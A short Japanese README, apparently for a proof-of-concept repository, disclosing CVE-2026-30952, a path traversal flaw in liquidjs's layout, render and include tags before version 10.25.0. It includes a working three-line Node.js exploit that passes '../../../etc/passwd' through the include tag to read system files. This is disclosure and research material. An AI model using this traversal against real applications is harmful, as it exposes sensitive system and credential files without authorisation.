
PoC for CVE-2026-30952: liquidjsにおける、layout、render、includeタグ内の絶対パスを介したパストラバーサル(Path Traversal)の脆弱性。
このリポジトリには、liquidjs ライブラリ(バージョン 10.25.0 未満)で発見された高深刻度のパストラバーサル脆弱性である CVE-2026-30952 の Proof of Concept(PoC)が含まれています。
著者および研究者:
Moriel Harush Maor Caplan
この脆弱性により、layout、render、include タグが絶対パスとともに使用された場合に、任意のファイルアクセスが可能になります。これは root ディレクトリが指定されている場合でも発生します。これは、ライブラリのフォールバックメカニズムが、解決されたパスが意図したルート内に留まるかどうかを適切に検証できないためです。
影響: 攻撃者がテンプレートの内容またはこれらのタグに渡される変数を制御できる場合、機密ファイル(例: /etc/passwd、環境ファイル)を読み取ることができます。
const { Liquid } = require('liquidjs');
const e = new Liquid({ root: ['/tmp'], partials: ['/tmp'], dynamicPartials: true });
e.parseAndRender('{% include page %}', { page: '../../../etc/passwd' }).then(o => console.log(o.slice(0,500)));

liquidjs(npm install [email protected])npm install を実行します。node exploit.js